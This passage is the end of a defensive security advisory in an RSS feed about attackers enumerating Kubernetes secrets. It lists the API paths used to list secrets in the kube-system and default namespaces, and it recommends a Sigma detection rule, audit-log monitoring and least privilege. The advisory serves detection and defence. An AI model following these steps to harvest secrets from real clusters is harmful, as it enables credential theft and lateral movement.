<li>Alternatively, the attacker targets secrets within the <code>kube-system</code> namespace using <code>/api/v1/namespaces/kube-system/secrets</code> or <code>default</code> namespace using <code>/api/v1/namespaces/default/secrets</code>.</li>
<li>The API server responds with a list of secrets, potentially including sensitive information.</li>
<li>The attacker analyzes the retrieved secrets to identify valuable credentials or configuration data.</li>
<li>The attacker uses the acquired credentials to escalate privileges, move laterally within the cluster, or access external resources.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful enumeration of Kubernetes secrets can lead to the compromise of sensitive credentials, allowing attackers to gain unauthorized access to critical systems and data. This can result in data breaches, service disruptions, and significant financial losses. The targeting of <code>kube-system</code> and <code>default</code> namespaces poses a particularly high risk due to the presence of core system components and sensitive configurations.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the Sigma rule <code>Kubernetes Secrets List in Sensitive Namespaces</code> to your SIEM to detect suspicious secret enumeration activities based on <code>kubernetes.audit.requestURI</code>.</li>
<li>Monitor Kubernetes audit logs (<code>logs-kubernetes.audit_logs-*</code>) for <code>list</code> operations on the <code>secrets</code> resource, specifically targeting <code>/api/v1/secrets</code> and sensitive namespaces.</li>
<li>Implement network policies to restrict access to the Kubernetes API server from untrusted networks.</li>
<li>Review and harden the security configuration of the <code>kube-system</code> and <code>default</code> namespaces.</li>
<li>Enforce the principle of least privilege for service accounts and user access to minimize the impact of credential compromise.</li>
<li>Investigate any alerts generated by the Sigma rule and correlate with other security events to identify potential attacks.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>kubernetes</category><category>credential-access</category><category>discovery</category><category>cloud</category></item></channel></rss>